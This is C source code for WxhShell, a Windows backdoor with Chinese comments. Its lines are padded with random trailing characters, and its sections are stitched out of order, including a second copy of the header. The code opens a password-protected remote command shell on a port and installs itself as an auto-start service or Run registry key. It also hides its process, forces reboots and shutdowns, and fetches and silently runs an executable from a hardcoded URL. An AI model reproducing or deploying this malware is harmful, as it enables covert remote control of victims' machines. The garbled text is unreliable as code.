    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{+G=d  
    else { }pJwj  
    closesocket(wsh); Y3O#Q)-j$  
    ExitThread(0); 'fPdpnJ<  
    } ES40?o*]x  
    break;  rb{P :MX  
    } Afk$?wkL  
  // 获取shell } CfqG?)  
  case 's': { Zkf0p9h\  
    CmdShell(wsh); VsA'de!V4[  
    closesocket(wsh); >|;aIa@9  
    ExitThread(0); u_rdmyq$x/  
    break; o: ;"w"G  
  } <jed!x  
  // 退出 A2|Ud_  
  case 'x': { R i^[i}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -ig6w.%lk  
    CloseIt(wsh); 3N_"rNKD  
    break; <vwkjCA`  
    } gJM`[x`T  
  // 离开 85GKymz$P  
  case 'q': { 4Fm90O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hqRw^2F  
    closesocket(wsh); "U7qo}`I  
    WSACleanup(); ?@V[#.  
    exit(1); JY6 Q p  
    break; #UbF9})q  
        } 3d|9t9v  
  } 6&/T@LQYrh  
  } u7=U^}#  
;amXY@RmH  
  // 提示信息 N$[{8yil^w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H<3I 5Kgt  
} v,ju!I0.  
  } [p<w._b i  
8Ac:_Zg  
  return; 73){K?R  
} ]KmO$4  
#t+d iR  
// shell模块句柄 p|]\P%,\  
int CmdShell(SOCKET sock) Qubp9C#r  
{ 6 :~v4W!k  
STARTUPINFO si; 8w.YYo8`  
ZeroMemory(&si,sizeof(si)); _]:z \TDn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *M"}z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qT^I?g"!  
PROCESS_INFORMATION ProcessInfo; uS^Ipxe\  
char cmdline[]="cmd"; rOVVL%@QqJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XcjRO#s\  
  return 0; :ijAqfX  
} mWvl 38  
,S!azN=  
// 自身启动模式 eow'K 821A  
int StartFromService(void) =&:Y6XP  
{  E@b(1@  
typedef struct hq #?kN  
{ >:b Q  
  DWORD ExitStatus; *IM;tD+7Q~  
  DWORD PebBaseAddress; VzVc37 Z>6  
  DWORD AffinityMask; &Udb9  
  DWORD BasePriority; Cid ;z  
  ULONG UniqueProcessId; y_?Me]  
  ULONG InheritedFromUniqueProcessId; c??mL4$'N  
}   PROCESS_BASIC_INFORMATION; ( U xW;  
%ALwz[~]  
PROCNTQSIP NtQueryInformationProcess; H/37)&$E(  
)h)]SF}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q?8| [.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hr)B[<9  
v'3J.?N  
  HANDLE             hProcess; 7K98#;a)5  
  PROCESS_BASIC_INFORMATION pbi; KGFv"u{  
 .P"D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @ rc{SB  
  if(NULL == hInst ) return 0; # }y2)g  
b"{'T]"*j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k1D@fiz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (R("H/6xs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bXNk%W[n  
, JQp'e  
  if (!NtQueryInformationProcess) return 0; 1waTTT?"Ho  
e\:+uVzz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \}|o1Xh2  
  if(!hProcess) return 0; D-._z:_  
io8'g3<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #iHs* /85  
~S,,w1`  
  CloseHandle(hProcess); V: TM]  
mrF58Uq;A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jr:7?8cH0L  
if(hProcess==NULL) return 0; AiO$<CS  
/x p|  
HMODULE hMod; ", KCCis  
char procName[255]; 9eQxit7  
unsigned long cbNeeded; m0a?LY  
x5-}h*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MjC_ (cs  
y1+*6|  
  CloseHandle(hProcess); YOmM=X+'H  
\6Zr  
if(strstr(procName,"services")) return 1; // 以服务启动 /Y2}a<3&0  
9^#c| 0T  
  return 0; // 注册表启动 fy@<&U5rg  
} 3!|;iJRH  
T~##,qQ  
// 主模块 #W.#Hjpp  
int StartWxhshell(LPSTR lpCmdLine) e9U9Uu[  
{ GQUe!G9  
  SOCKET wsl; /n{omx  
BOOL val=TRUE; +{f:cea (1  
  int port=0; UKT%13CO4U  
  struct sockaddr_in door; sl`s_$J  
NRIG1v>  
  if(wscfg.ws_autoins) Install(); ,NyY>~+  
ijK"^4i  
port=atoi(lpCmdLine); @] DVD  
1;Cyz)  
if(port<=0) port=wscfg.ws_port; PuA9X[=  
%,@e^3B  
  WSADATA data; PIoLywpRn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qGB{7-ru  
lJ}_G>GJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qh|_W(`y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yy i#Mo ,  
  door.sin_family = AF_INET; (mTE;s(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y[)>yq y  
  door.sin_port = htons(port); PGhY>$q>b  
iXVe.n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c|B.n]Z  
closesocket(wsl); U4C 9<h&  
return 1; q$Zh@  
} K<SyC54  
,*&:2o_r  
  if(listen(wsl,2) == INVALID_SOCKET) { gM u"2I5  
closesocket(wsl); '$ =>  
return 1; C.Kh [V\Ut  
} .ps-4eXF  
  Wxhshell(wsl); @hiCI.?X  
  WSACleanup(); 9=8iy w  
z"-u95H  
return 0; irFMmIb  
7vrl'^1  
} i@)i$i4  
aW)-?(6>  
// 以NT服务方式启动 Vt %bI0#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0ghGBuv1s  
{ |,gc_G  
DWORD   status = 0; )NXmn95  
  DWORD   specificError = 0xfffffff; RI 5yF  
;=eDO(Ij  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V3Q+s8OIF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "U>JM@0DNm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8dZSi  
  serviceStatus.dwWin32ExitCode     = 0; la0BiLzb]  
  serviceStatus.dwServiceSpecificExitCode = 0; PV'x+bN5  
  serviceStatus.dwCheckPoint       = 0; B}Z63|/N  
  serviceStatus.dwWaitHint       = 0; 1PVtxL?1P  
Wu c S:8#|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H]{v;;'~  
  if (hServiceStatusHandle==0) return; %Gz0^[+  
nm5cpnNl  
status = GetLastError(); S;3R S;  
  if (status!=NO_ERROR) ,Ys %:>?  
{ +%T\`6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ); !eow  
    serviceStatus.dwCheckPoint       = 0; F\JM\{&F  
    serviceStatus.dwWaitHint       = 0; nBjqTud  
    serviceStatus.dwWin32ExitCode     = status; l&OKBUG  
    serviceStatus.dwServiceSpecificExitCode = specificError; D0&,?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^}I-M%{m  
    return; OE_XCZ!5P  
  } @=bLDTx;c)  
Q]Y*K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m[? E  
  serviceStatus.dwCheckPoint       = 0; L-jJg,eY  
  serviceStatus.dwWaitHint       = 0; l2zFKCGF(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q>_/u"  
} 5{|7$VqPF  
>Ea8G,  
// 处理NT服务事件,比如:启动、停止 >Wm `v.-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4ni<E*  
{ 8;b( 0^  
switch(fdwControl) gn8R[5:!V  
{ mXRB7k  
case SERVICE_CONTROL_STOP: [-65PC4aN  
  serviceStatus.dwWin32ExitCode = 0; eJF5n#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b3&zjjQ  
  serviceStatus.dwCheckPoint   = 0; 6}gls}[0{e  
  serviceStatus.dwWaitHint     = 0; 1->dMm}G[  
  { .*@;@06?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QwNly4  
  } kw >v:F<M  
  return; >BR(Wd.  
case SERVICE_CONTROL_PAUSE: 3c#BKHNC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q8:Has  
  break; &oP +$;Y  
case SERVICE_CONTROL_CONTINUE: 2 Wt> Mi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /7a BDc-v  
  break; ;,C)!c&  
case SERVICE_CONTROL_INTERROGATE: y6ECdVF  
  break; y?[ v=j*U  
}; s1M Erd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h;C5hU 4P  
} oibsh(J3  
j@W.&- _  
// 标准应用程序主函数 A_XY'z1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r54&XE]O  
{ %824Cqdc  
~ZmN44?R  
// 获取操作系统版本 :8L8q<U  
OsIsNt=GetOsVer(); l7XUXbYp&=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 14Xqn8uOW  
kW2sY^Rg  
  // 从命令行安装 fV &KM*W*@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8;d:-Cp  
8ZM?)# `@{  
  // 下载执行文件 Fu SL}P  
if(wscfg.ws_downexe) { O!m vJD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $h2){*5E{  
  WinExec(wscfg.ws_filenam,SW_HIDE); eK6hS_E  
} >QjAoDVX?  
w,.+IV$Kk  
if(!OsIsNt) { wF IegC(  
// 如果时win9x,隐藏进程并且设置为注册表启动 -|J"s$yO4  
HideProc(); M`. tf_x  
StartWxhshell(lpCmdLine); O}+.U<V  
} o>).Cj  
else ; o?-yI&T*  
  if(StartFromService()) 1{r3#MVL  
  // 以服务方式启动 4H,`]B8(D  
  StartServiceCtrlDispatcher(DispatchTable); S/}2;\Xm  
else ?^H `M|S  
  // 普通方式启动 .\[`B.Q  
  StartWxhshell(lpCmdLine); %=n!Em(  
H2&@shOOQJ  
return 0; OP~HdocB  
} p6 ]7&{>  
Z8# (kmBdB  
88VZR&v   
^"VJd[Hn  
=========================================== w&$`cD  
j.C`U(n}`  
_a5d?Q9Z  
T?:Rdo!:u  
O;z,qo X  
M=%l}FSTw(  
" f*!j[U/r_  
W}--p fG  
#include <stdio.h> Ozw;(fDaU  
#include <string.h> CUO+9X-<8  
#include <windows.h> %dRo^E1p  
#include <winsock2.h> DQNnNsP:M-  
#include <winsvc.h> W 0(_ ~  
#include <urlmon.h> fdxLAC  
SHvq.lYJ  
#pragma comment (lib, "Ws2_32.lib") 8I-u2Y$Sr  
#pragma comment (lib, "urlmon.lib") _p# CwExuy  
)'Oh `$M  
#define MAX_USER   100 // 最大客户端连接数 c]$i\i#  
#define BUF_SOCK   200 // sock buffer @Py/K /  
#define KEY_BUFF   255 // 输入 buffer vqnw#U4`  
Ao&\EcIOT  
#define REBOOT     0   // 重启 y)F;zW<+  
#define SHUTDOWN   1   // 关机 ~J5+i9T.)  
@x9a?L.48  
#define DEF_PORT   5000 // 监听端口 @.osJ}FxA  
NS9B[*"Jl  
#define REG_LEN     16   // 注册表键长度 >NqYyW,%  
#define SVC_LEN     80   // NT服务名长度 {s)+R[?m<o  
VcAue!MN  
// 从dll定义API iDN;m`a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l/BLUl~z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #,S0HDDHn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @En^wN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YsG%6&zEq  
/|r^W\DV&x  
// wxhshell配置信息 BS /G("oZ[  
struct WSCFG { =CK4.   
  int ws_port;         // 监听端口 `Y BC  
  char ws_passstr[REG_LEN]; // 口令 Wc,_RN-  
  int ws_autoins;       // 安装标记, 1=yes 0=no kUq=5Y `D  
  char ws_regname[REG_LEN]; // 注册表键名 _6_IP0;  
  char ws_svcname[REG_LEN]; // 服务名 AcS|c:3MUy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P1zKsY,l$<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 unshH<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1)9sf0LyU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F ;{n"3<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'HT7_$?*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @_U;9)  
@'YS1N<  
}; 7x#Ckep:I  
N<f"]  
// default Wxhshell configuration ML:Q5 ^`  
struct WSCFG wscfg={DEF_PORT, /4tj3B,  
    "xuhuanlingzhe", y@ ML/9X8q  
    1, EM]s/LD@%  
    "Wxhshell", zBo1P(kek  
    "Wxhshell", QN@CPuy  
            "WxhShell Service", EzDk}uKY0R  
    "Wrsky Windows CmdShell Service", Ol1e/Wv  
    "Please Input Your Password: ", 7P" | J\  
  1, 9w"h  
  "http://www.wrsky.com/wxhshell.exe", #@^t;)|  
  "Wxhshell.exe" 7Ok;Lt!x  
    }; g1XZ5P} f  
`1'6bp`Z  
// 消息定义模块 D0gZC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tg!i%v(-t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ([ jF4/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X'%E\/~u  
char *msg_ws_ext="\n\rExit."; zfI>qJ+Nqt  
char *msg_ws_end="\n\rQuit."; ;} und*q  
char *msg_ws_boot="\n\rReboot..."; bx<RV7>0  
char *msg_ws_poff="\n\rShutdown..."; pcau}5 .  
char *msg_ws_down="\n\rSave to "; ^m?KRm2  
xm%Um\Pb7  
char *msg_ws_err="\n\rErr!"; ]x\-$~E  
char *msg_ws_ok="\n\rOK!"; FQT~pfY  
/<E5"Mm%  
char ExeFile[MAX_PATH]; f-}[_Y%;  
int nUser = 0; 3mYiQ2  
HANDLE handles[MAX_USER]; 9l}FU$  
int OsIsNt; %{YN70/  
$"0MU  
SERVICE_STATUS       serviceStatus; |o,8V p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XID<(HBA"!  
RMd[Yr2e  
// 函数声明 @.G[s)x  
int Install(void); =3q/F7-  
int Uninstall(void); ?g?L3vRK  
int DownloadFile(char *sURL, SOCKET wsh); Wi[~fI8^!  
int Boot(int flag); -`<kCW"  
void HideProc(void); 3BB%Z 6F  
int GetOsVer(void); .gG1kWA-  
int Wxhshell(SOCKET wsl); .7i` (F)  
void TalkWithClient(void *cs); .{ 44a$)  
int CmdShell(SOCKET sock); C K:y?  
int StartFromService(void); 1c<=A!"{  
int StartWxhshell(LPSTR lpCmdLine); 3= xhoRX  
r)Ap8?+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^dP KDrKxh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GKvN* SU=  
f` :i.Sr  
// 数据结构和表定义 )jkXS TZ  
SERVICE_TABLE_ENTRY DispatchTable[] = !O-C,uSm  
{ Sl-v W  
{wscfg.ws_svcname, NTServiceMain}, 9;Itqe{8w  
{NULL, NULL} +|bmT  
}; A]YV s  
ZQ)>s>-  
// 自我安装 QFg sq{  
int Install(void) Vy*:ne  
{ Vl_:c75"  
  char svExeFile[MAX_PATH]; GytXFL3`:  
  HKEY key; -:30:oq  
  strcpy(svExeFile,ExeFile); j6>.n49_  
r`AuvwHPs[  
// 如果是win9x系统,修改注册表设为自启动 M@4UGM`J  
if(!OsIsNt) { :!5IW?2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [|P!{?A43|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9so6WIWc  
  RegCloseKey(key); Sp7ld7c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |;.o8}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mu{;vf|j  
  RegCloseKey(key); 1QmH{jM  
  return 0; PUo/J~v  
    } ?*?RP)V  
  } A,\6nO67  
} COTp  
else { 356>QW'm  
#{k|I$  
// 如果是NT以上系统,安装为系统服务 G 16!eDMt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qw@puw@D  
if (schSCManager!=0) )dY=0"4Z  
{ ZKQG:M~|  
  SC_HANDLE schService = CreateService S}$r>[t  
  ( AZa 6 C w  
  schSCManager, D[_|*9BC  
  wscfg.ws_svcname, z;A>9vQ_J  
  wscfg.ws_svcdisp, kGd<5vCs  
  SERVICE_ALL_ACCESS, jeGj<m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,$'])A?$  
  SERVICE_AUTO_START, }?z@rt^  
  SERVICE_ERROR_NORMAL, ([-|}  
  svExeFile, Ix(?fO#uNF  
  NULL, $aN-Y?U%  
  NULL, *uo'VJI7_,  
  NULL, OiE;B  
  NULL, K'X2dG*  
  NULL x9x E&  
  ); L=q+|j1>  
  if (schService!=0) F)+{AQL  
  { Pu"R,a  
  CloseServiceHandle(schService); EL8NZ%:v:  
  CloseServiceHandle(schSCManager); -O&CI)`;B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +)j1.X  
  strcat(svExeFile,wscfg.ws_svcname); hGbj0   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :6zG7qES3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DyQM>xw)t  
  RegCloseKey(key); abJ" [  
  return 0; Y$Q|J4z  
    } /9zE^YcT  
  } +T=(6dr  
  CloseServiceHandle(schSCManager); 7\f\!e <  
} x_c7R;C  
} 94 e): jS  
uu}x@T@  
return 1; ~v'3"k6  
} $<^u^q37u  
p=C%Hmd5E  
// 自我卸载 H"C[&r  
int Uninstall(void) G!Um,U/g  
{ :=8t"rO=W  
  HKEY key; J?Dq>%+ ^  
iJZ/jCI  
if(!OsIsNt) { e|&6$A>4]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]~6_WE8L  
  RegDeleteValue(key,wscfg.ws_regname); YKE46q;J  
  RegCloseKey(key); !'j?.F $}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w.lAQ5)I%\  
  RegDeleteValue(key,wscfg.ws_regname); UN%Vg:=  
  RegCloseKey(key); om |"S  
  return 0; K"b`#xN(t  
  } %e`$p=m  
}  1~l I8  
} #7ov#_2Jd  
else { jMbC Y07v  
+J{0 E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #fJ] o_  
if (schSCManager!=0) Hew d4k  
{ n @?4b8"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hUD7_arKF  
  if (schService!=0) `E!N9qI?t$  
  { $b<6y/"  
  if(DeleteService(schService)!=0) { k51Eyy50(  
  CloseServiceHandle(schService); {q<03d~9|G  
  CloseServiceHandle(schSCManager); Fe.t/amS/  
  return 0; MB%Q WU  
  } [tg^GOf '  
  CloseServiceHandle(schService); lip[n;Ir>  
  } s TOa  
  CloseServiceHandle(schSCManager); S a4W`  
} !q-f9E4`  
} pSm $FBW h  
?%VI{[y#>  
return 1;  P\]B<  
} S.Z9$k%   
iA0q_( \X  
// 从指定url下载文件 ]$p{I)d&  
int DownloadFile(char *sURL, SOCKET wsh) CH fVQ|!\  
{ 3SSm5{197  
  HRESULT hr; y!5$/`AF  
char seps[]= "/"; r1<F  
char *token; 4J?t_)  
char *file; L:(1ZS  
char myURL[MAX_PATH]; .`7cBsXH  
char myFILE[MAX_PATH]; }hYZ" A~  
->h6j  
strcpy(myURL,sURL); <BSc* 9Q  
  token=strtok(myURL,seps); ifo7%XPcg  
  while(token!=NULL) sP-^~ pp  
  { `\X+ Ud|  
    file=token; +4\U)Z/\  
  token=strtok(NULL,seps); 2DB7+aZ*  
  } V97,1`  
gPu2G/Y  
GetCurrentDirectory(MAX_PATH,myFILE); K_ lVISBQ  
strcat(myFILE, "\\"); (;%|-{7e-  
strcat(myFILE, file);  J*l4|^i<  
  send(wsh,myFILE,strlen(myFILE),0); (_4;') 9  
send(wsh,"...",3,0); L{E^?iX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yQ3OL#  
  if(hr==S_OK) W5^.-B,(K  
return 0; q %0Cg=  
else +525{Tj  
return 1; or k=`};  
/m( =`aRt  
} %+ FG,d  
goJ|oi  
// 系统电源模块 DAg58 =qJ  
int Boot(int flag) hk/! 'd  
{ BS q)RV/3  
  HANDLE hToken; __[xD\ES  
  TOKEN_PRIVILEGES tkp; +[J/Zw0{  
(~$/$%b  
  if(OsIsNt) { k8,?hX:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w_ {,<[#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A:y.s;<L 0  
    tkp.PrivilegeCount = 1; K^rIG6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kz"3ZDR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;f,c't@w  
if(flag==REBOOT) { ;. wX@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _SACqamo5s  
  return 0; -o+74=E8[?  
} @HBEt^!  
else { ~^ ^ NHq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mR8W]'gl.L  
  return 0; W23]Bx  
} |3+m%;X  
  } Y~)T  
  else { h;V,n  
if(flag==REBOOT) { CSV;+,Vv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GHF_R,7  
  return 0; NZN-^ >  
} B/Gd(S`@q  
else { yAL1O94  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zq1mmFIO  
  return 0; j#0j)k2Q  
} O+=vEp(  
} $6F)R|  
CzV(cSS9-  
return 1; !:LJzROh  
} 7([h4bg{  
CK_(b"  
// win9x进程隐藏模块 *?yJkJ"  
void HideProc(void) s7r9,8$  
{ $KjTa#[RX7  
^MD;"A<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aTGdmj!  
  if ( hKernel != NULL ) u@p?  
  { p.fF}B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ==/n(LBD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j<pw\k{i  
    FreeLibrary(hKernel); 6|J'>)  
  } Ufo>|A6;$  
tvX>{-M  
return; ZyR_6n>L$  
} (#q<\`  
HNa]H;-+5  
// 获取操作系统版本 bg?"ILpk  
int GetOsVer(void) gM>=%/.  
{ Lt#'W  
  OSVERSIONINFO winfo; f>$h@/-*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lc<eRVNd,  
  GetVersionEx(&winfo); +Ra3bjl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4c~>ci,N?(  
  return 1; kqvow3u  
  else %HtuR2#ca  
  return 0; ?IX!+>.H  
} gLL-VvJ[  
Swtbl`,  
// 客户端句柄模块 N0n^L|(R  
int Wxhshell(SOCKET wsl) ID1?PM  
{ ;]CVb`d  
  SOCKET wsh; >+cVs:  
  struct sockaddr_in client; %Hi~aRz  
  DWORD myID; BzpP7ZWV  
K8^kJSF\  
  while(nUser<MAX_USER) A%Z)wz{  
{ V'Qn sI  
  int nSize=sizeof(client); 2aNT#J"_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OySy6IN]q  
  if(wsh==INVALID_SOCKET) return 1; .g\6g~n  
AyE\fY5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mnF}S5[9  
if(handles[nUser]==0) (L6Cy% KgV  
  closesocket(wsh); % U`xu.  
else F.q|x|9j  
  nUser++; ED![^=  
  } Jd 3@cLCe-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;n#%G^!H  
Z& !!]"I  
  return 0; NB8&   
} |bZM/U=  
KSs1CF'i  
// 关闭 socket Uhh l3%p  
void CloseIt(SOCKET wsh) XOb}<y)r~  
{ J/D|4fC  
closesocket(wsh); d<o.o?Vc  
nUser--; ){Mu~P  
ExitThread(0); H*e'Cs/  
} 8zQfY^/{M  
qFR dg V>8  
// 客户端请求句柄 ;Fl<v@9  
void TalkWithClient(void *cs) +6W(z3($  
{ $v;dV@tB  
?Z %:  
  SOCKET wsh=(SOCKET)cs;   &LQ%  
  char pwd[SVC_LEN]; es.CLkuD7Y  
  char cmd[KEY_BUFF]; ,axDMMDI  
char chr[1]; Lue|Plm[y  
int i,j; ~o15#Pfn/  
X} JOX9pK  
  while (nUser < MAX_USER) { b^V'BC3  
gp< =Gmd  
if(wscfg.ws_passstr) { yFIIX=NC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HD# r0)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2M6dMvS  
  //ZeroMemory(pwd,KEY_BUFF); {E,SHh   
      i=0; 9q4_j  
  while(i<SVC_LEN) { H:oQ  
-6EK#!+  
  // 设置超时 #V 43=  
  fd_set FdRead; z?.(3oLT  
  struct timeval TimeOut; -wr(vE,  
  FD_ZERO(&FdRead); [e"RTTRfZ  
  FD_SET(wsh,&FdRead); k 'zat3#f  
  TimeOut.tv_sec=8; *v #/Y9}  
  TimeOut.tv_usec=0; p!"(s/=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K}x/ BhE+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K84&sSi  
{7#03k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .)PqN s:  
  pwd=chr[0]; cx(2jk}6  
  if(chr[0]==0xd || chr[0]==0xa) { .|]IwyD &  
  pwd=0; |4SW[>WT:  
  break; ^Vo"fI`=C  
  } T1~)^qQ  
  i++; #\FT EY!  
    } 5:gj&jt;)7  
.H;B=nd*  
  // 如果是非法用户,关闭 socket %!W%#U0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9Q[>.):  
} Cd~LsdKE5  
xdF guV8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6v47 QW|'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0\ f-z6  
qZ\ L  
while(1) { F' BdQk3o  
fi=?n{e'  
  ZeroMemory(cmd,KEY_BUFF); dB)9K)  
:('I)C  
      // 自动支持客户端 telnet标准   ?y_awoBd1  
  j=0; vfbe$4mH  
  while(j<KEY_BUFF) { ;QPy:x3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZV}U*  
  cmd[j]=chr[0]; _Y#Bm/*  
  if(chr[0]==0xa || chr[0]==0xd) { ~%P3Pp  
  cmd[j]=0; _t.FL@3e  
  break; VD;j[~/Z  
  } C_-E4I Z)  
  j++; +qE']yzm!  
    } B)a@fmp"a  
>UN vkQ:  
  // 下载文件 iwo$\  
  if(strstr(cmd,"http://")) { HDj$"pS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yw^ Gti'<  
  if(DownloadFile(cmd,wsh)) 0M\NS$u(Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q7k.+2  
  else 9.-47|-9C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RZ6~c{  
  } sRi%1r7  
  else { (6-y+ LG  
0BXs&i-TP5  
    switch(cmd[0]) { 4?]ZV_BD  
  )[ b#g(Y(  
  // 帮助 @YB85p"]J.  
